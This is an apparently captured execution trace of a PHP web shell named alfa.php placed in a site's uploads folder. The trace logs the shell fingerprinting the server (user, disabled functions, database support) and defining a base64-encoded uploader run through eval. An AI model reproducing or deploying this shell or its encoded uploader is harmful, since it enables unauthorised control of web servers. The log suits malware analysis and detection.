1		A						/var/www/html/uploads/alfa.php	882	GLOBALS['home_cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/alfa.php	883	GLOBALS['need_to_update_header'] = 'false'
1		A						/var/www/html/uploads/alfa.php	884	GLOBALS['glob_chdir_false'] = FALSE
2	41	0	0.013405	2767616	alfaGetCwd	1		/var/www/html/uploads/alfa.php	890	0
3	42	0	0.013417	2767616	function_exists	0		/var/www/html/uploads/alfa.php	737	1	'getcwd'
3	42	1	0.013430	2767656
3	42	R			TRUE
3	43	0	0.013442	2767616	getcwd	0		/var/www/html/uploads/alfa.php	738	0
3	43	1	0.013455	2767664
3	43	R			'/var/www/html/uploads'
2	41	1	0.013469	2767664
2	41	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/alfa.php	890	GLOBALS['cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/alfa.php	898	['cwd'] .= '/'
2	44	0	0.013509	2767664	function_exists	0		/var/www/html/uploads/alfa.php	899	1	'sys_get_temp_dir'
2	44	1	0.013522	2767704
2	44	R			TRUE
2	45	0	0.013535	2767664	function_exists	0		/var/www/html/uploads/alfa.php	900	1	'mb_strlen'
2	45	1	0.013548	2767704
2	45	R			FALSE
2	46	0	0.013562	2767664	function_exists	0		/var/www/html/uploads/alfa.php	905	1	'mb_substr'
2	46	1	0.013574	2767704
2	46	R			FALSE
2	47	0	0.013587	2767664	function_exists	0		/var/www/html/uploads/alfa.php	910	1	'sys_get_temp_dir'
2	47	1	0.013600	2767704
2	47	R			TRUE
2	48	0	0.013613	2767664	sys_get_temp_dir	0		/var/www/html/uploads/alfa.php	910	0
2	48	1	0.013626	2767704
2	48	R			'/tmp'
2	49	0	0.013639	2767704	str_replace	0		/var/www/html/uploads/alfa.php	910	3	'\\'	'/'	'/tmp'
2	49	1	0.013653	2767800
2	49	R			'/tmp'
2	50	0	0.013666	2767704	is_writable	0		/var/www/html/uploads/alfa.php	910	1	'/tmp'
2	50	1	0.013688	2767744
2	50	R			TRUE
2	51	0	0.013701	2767672	sys_get_temp_dir	0		/var/www/html/uploads/alfa.php	910	0
2	51	1	0.013713	2767704
2	51	R			'/tmp'
2	52	0	0.013726	2767704	define	0		/var/www/html/uploads/alfa.php	910	2	'ALFA_TEMPDIR'	'/tmp'
2	52	1	0.013740	2767808
2	52	R			TRUE
2	53	0	0.013756	2767736	function_exists	0		/var/www/html/uploads/alfa.php	2399	1	'posix_getpwuid'
2	53	1	0.013769	2767776
2	53	R			TRUE
2	54	0	0.013781	2767736	function_exists	0		/var/www/html/uploads/alfa.php	2401	1	'posix_getgrgid'
2	54	1	0.013798	2767776
2	54	R			TRUE
2	55	0	0.013812	2767736	function_exists	0		/var/www/html/uploads/alfa.php	2459	1	'scandir'
2	55	1	0.013825	2767776
2	55	R			TRUE
2	56	0	0.013842	2767736	function_exists	0		/var/www/html/uploads/alfa.php	6162	1	'json_encode'
2	56	1	0.013856	2767776
2	56	R			TRUE
2	57	0	0.013869	2767736	function_exists	0		/var/www/html/uploads/alfa.php	6204	1	'json_decode'
2	57	1	0.013882	2767776
2	57	R			TRUE
2	58	0	0.013895	2767776	function_exists	0		/var/www/html/uploads/alfa.php	6520	1	'alfaFilesMan2'
2	58	1	0.013909	2767816
2	58	R			TRUE
1		A						/var/www/html/uploads/alfa.php	6521	_POST['a'] = 'FilesMan2'
2	59	0	0.013934	2768152	function_exists	0		/var/www/html/uploads/alfa.php	6524	1	'alfaFilesMan2'
2	59	1	0.013948	2768192
2	59	R			TRUE
2	60	0	0.013961	2768112	alfaFilesMan2	1		/var/www/html/uploads/alfa.php	6525	0
3	61	0	0.013978	2768112	alfahead	1		/var/www/html/uploads/alfa.php	2560	0
3		A						/var/www/html/uploads/alfa.php	912	GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3		A						/var/www/html/uploads/alfa.php	913	$alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4	62	0	0.014048	2769904	__ZW5jb2Rlcg	1		/var/www/html/uploads/alfa.php	914	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5	63	0	0.014076	2769904	vcnvSCZgBz	1		/var/www/html/uploads/alfa.php	119	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5		A						/var/www/html/uploads/alfa.php	68	$b = 'base64_encode'
6	64	0	0.014114	2769904	base64_encode	0		/var/www/html/uploads/alfa.php	69	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6	64	1	0.014142	2772496
6	64	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5	63	1	0.014173	2772464
5	63	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	62	1	0.014202	2772464
4	62	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	65	0	0.014234	2772464	define	0		/var/www/html/uploads/alfa.php	914	2	'ALFA_UPLOADER'	'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4	65	1	0.014261	2772568
4	65	R			TRUE
3		A						/var/www/html/uploads/alfa.php	966	_POST['charset'] = 'Windows-1251'
4	66	0	0.014289	2772496	function_exists	0		/var/www/html/uploads/alfa.php	967	1	'diskfreespace'
4	66	1	0.014302	2772536
4	66	R			TRUE
4	67	0	0.014315	2772496	diskfreespace	0		/var/www/html/uploads/alfa.php	967	1	'/var/www/html/uploads/'
4	67	1	0.014333	2772528
4	67	R			207323430912
3		A						/var/www/html/uploads/alfa.php	967	$freeSpace = 207323430912
4	68	0	0.014359	2772496	function_exists	0		/var/www/html/uploads/alfa.php	968	1	'disk_total_space'
4	68	1	0.014373	2772536
4	68	R			TRUE
4	69	0	0.014386	2772496	disk_total_space	0		/var/www/html/uploads/alfa.php	968	1	'/var/www/html/uploads/'
4	69	1	0.014400	2772528
4	69	R			232015802368
3		A						/var/www/html/uploads/alfa.php	968	$totalSpace = 232015802368
3		A						/var/www/html/uploads/alfa.php	969	$totalSpace = 232015802368
3		A						/var/www/html/uploads/alfa.php	970	$on = '<span class=\'header_on\'> ON </span>'
3		A						/var/www/html/uploads/alfa.php	971	$of = '<span class=\'header_off\'> OFF </span>'
3		A						/var/www/html/uploads/alfa.php	972	$none = '<span class=\'header_none\'> NONE </span>'
4	70	0	0.014471	2772496	function_exists	0		/var/www/html/uploads/alfa.php	973	1	'ssh2_connect'
4	70	1	0.014484	2772536
4	70	R			FALSE
3		A						/var/www/html/uploads/alfa.php	976	$ssh2 = '<span class=\'header_off\'> OFF </span>'
4	71	0	0.014509	2772496	function_exists	0		/var/www/html/uploads/alfa.php	977	1	'curl_version'
4	71	1	0.014522	2772536
4	71	R			TRUE
3		A						/var/www/html/uploads/alfa.php	978	$curl = '<span class=\'header_on\'> ON </span>'
4	72	0	0.014546	2772496	function_exists	0		/var/www/html/uploads/alfa.php	981	1	'mysql_get_client_info'
4	72	1	0.014560	2772536
4	72	R			FALSE
4	73	0	0.014572	2772496	class_exists	0		/var/www/html/uploads/alfa.php	981	1	'mysqli'
4	73	1	0.014586	2772536
4	73	R			FALSE
3		A						/var/www/html/uploads/alfa.php	984	$mysql = '<span class=\'header_off\'> OFF </span>'
4	74	0	0.014610	2772496	function_exists	0		/var/www/html/uploads/alfa.php	985	1	'mssql_connect'
4	74	1	0.014623	2772536
4	74	R			FALSE
3		A						/var/www/html/uploads/alfa.php	988	$mssql = '<span class=\'header_off\'> OFF </span>'
4	75	0	0.014647	2772496	function_exists	0		/var/www/html/uploads/alfa.php	989	1	'pg_connect'
4	75	1	0.014660	2772536
4	75	R			FALSE
3		A						/var/www/html/uploads/alfa.php	992	$pg = '<span class=\'header_off\'> OFF </span>'
4	76	0	0.014683	2772496	function_exists	0		/var/www/html/uploads/alfa.php	993	1	'oci_connect'
4	76	1	0.014696	2772536
4	76	R			FALSE
3		A						/var/www/html/uploads/alfa.php	996	$or = '<span class=\'header_off\'> OFF </span>'
4	77	0	0.014719	2772496	ini_get	0		/var/www/html/uploads/alfa.php	997	1	'disable_functions'
4	77	1	0.014733	2772976
4	77	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	78	0	0.014759	2772496	ini_get	0		/var/www/html/uploads/alfa.php	998	1	'disable_functions'
4	78	1	0.014772	2772976
4	78	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3		A						/var/www/html/uploads/alfa.php	998	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	79	0	0.014819	2772944	ini_get	0		/var/www/html/uploads/alfa.php	1001	1	'safe_mode'
4	79	1	0.014831	2772976
4	79	R			FALSE
3		A						/var/www/html/uploads/alfa.php	1004	$safe_modes = '<span class=\'header_on\'>OFF</span>'
3		A						/var/www/html/uploads/alfa.php	1005	$cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4	80	0	0.014870	2772944	ini_get	0		/var/www/html/uploads/alfa.php	1006	1	'open_basedir'
4	80	1	0.014882	2772976
4	80	R			''
3		A						/var/www/html/uploads/alfa.php	1013	$open_b = '<span class=\'header_none\'> NONE </span>'
4	81	0	0.014908	2772944	ini_get	0		/var/www/html/uploads/alfa.php	1014	1	'safe_mode_exec_dir'
4	81	1	0.014921	2772976
4	81	R			FALSE
3		A						/var/www/html/uploads/alfa.php	1017	$safe_exe = '<span class=\'header_none\'> NONE </span>'
4	82	0	0.014946	2772944	ini_get	0		/var/www/html/uploads/alfa.php	1018	1	'safe_mode_include_dir'
4	82	1	0.014959	2772976
4	82	R			FALSE
3		A						/var/www/html/uploads/alfa.php	1021	$safe_include = '<span class=\'header_none\'> NONE </span>'
4	83	0	0.014984	2772944	function_exists	0		/var/www/html/uploads/alfa.php	1022	1	'posix_getegid'
4	83	1	0.014997	2772984
4	83	R			TRUE
4	84	0	0.015010	2772944	function_exists	0		/var/www/html/uploads/alfa.php	1029	1	'posix_getpwuid'
4	84	1	0.015023	2772984
4	84	R			TRUE
4	85	0	0.015035	2772944	function_exists	0		/var/www/html/uploads/alfa.php	1029	1	'posix_geteuid'
4	85	1	0.015048	2772984
4	85	R			TRUE
4	86	0	0.015061	2772944	posix_geteuid	0		/var/www/html/uploads/alfa.php	1029	0
4	86	1	0.015074	2772944
4	86	R			33
4	87	0	0.015087	2772944	posix_getpwuid	0		/var/www/html/uploads/alfa.php	1029	1	33
4	87	1	0.015125	2773776
4	87	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3		A						/var/www/html/uploads/alfa.php	1029	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4	88	0	0.015169	2773744	function_exists	0		/var/www/html/uploads/alfa.php	1030	1	'posix_getgrgid'
4	88	1	0.015182	2773784
4	88	R			TRUE
4	89	0	0.015194	2773744	function_exists	0		/var/www/html/uploads/alfa.php	1030	1	'posix_getegid'
4	89	1	0.015207	2773784
4	89	R			TRUE
4	90	0	0.015220	2773744	posix_getegid	0		/var/www/html/uploads/alfa.php	1030	0
4	90	1	0.015233	2773744
4	90	R			33
4	91	0	0.015245	2773744	posix_getgrgid	0		/var/www/html/uploads/alfa.php	1030	1	33
4	91	1	0.015272	2774408
4	91	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/alfa.php	1030	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/alfa.php	1031	$user = 'www-data'
3		A						/var/www/html/uploads/alfa.php	1032	$uid = 33
3		A						/var/www/html/uploads/alfa.php	1033	$group = 'www-data'
3		A						/var/www/html/uploads/alfa.php	1034	$gid = 33
3		A						/var/www/html/uploads/alfa.php	1036	$cwd_links = ''
4	92	0	0.015358	2773024	explode	0		/var/www/html/uploads/alfa.php	1037	2	'/'	'/var/www/html/uploads/'
4	92	1	0.015373	2773632
4	92	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/alfa.php	1037	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/alfa.php	1038	$n = 6
3		A						/var/www/html/uploads/alfa.php	1039	$i = 0
3		A						/var/www/html/uploads/alfa.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.php	1042	$j = 0
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1046	$cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3		A						/var/www/html/uploads/alfa.php	1039	$i++
3		A						/var/www/html/uploads/alfa.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.php	1042	$j = 0
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1046	$cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3		A						/var/www/html/uploads/alfa.php	1039	$i++
3		A						/var/www/html/uploads/alfa.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.php	1042	$j = 0
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1046	$cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3		A						/var/www/html/uploads/alfa.php	1039	$i++
3		A						/var/www/html/uploads/alfa.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.php	1042	$j = 0
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1046	$cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3		A						/var/www/html/uploads/alfa.php	1039	$i++
3		A						/var/www/html/uploads/alfa.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.php	1042	$j = 0
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1043	$cwd_links .= 'uploads/'
3		A						/var/www/html/uploads/alfa.php	1044	$cach_cwd_path .= 'uploads/'
3		A						/var/www/html/uploads/alfa.php	1042	$j++
3		A						/var/www/html/uploads/alfa.php	1046	$cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3		A						/var/www/html/uploads/alfa.php	1039	$i++
3		A						/var/www/html/uploads/alfa.php	1048	$drives = ''
4	93	0	0.016101	2774376	range	0		/var/www/html/uploads/alfa.php	1049	2	'a'	'z'
4	93	1	0.016115	2775776
4	93	R			[0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4	94	0	0.016147	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'a:\\'
4	94	1	0.016170	2775784
4	94	R			FALSE
4	95	0	0.016184	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'b:\\'
4	95	1	0.016199	2775784
4	95	R			FALSE
4	96	0	0.016213	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'c:\\'
4	96	1	0.016228	2775784
4	96	R			FALSE
4	97	0	0.016242	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'd:\\'
4	97	1	0.016256	2775784
4	97	R			FALSE
4	98	0	0.016269	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'e:\\'
4	98	1	0.016284	2775784
4	98	R			FALSE
4	99	0	0.016297	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'f:\\'
4	99	1	0.016315	2775784
4	99	R			FALSE
4	100	0	0.016329	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'g:\\'
4	100	1	0.016343	2775784
4	100	R			FALSE
4	101	0	0.016356	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'h:\\'
4	101	1	0.016371	2775784
4	101	R			FALSE
4	102	0	0.016384	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'i:\\'
4	102	1	0.016399	2775784
4	102	R			FALSE
4	103	0	0.016412	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'j:\\'
4	103	1	0.016427	2775784
4	103	R			FALSE
4	104	0	0.016440	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'k:\\'
4	104	1	0.016454	2775784
4	104	R			FALSE
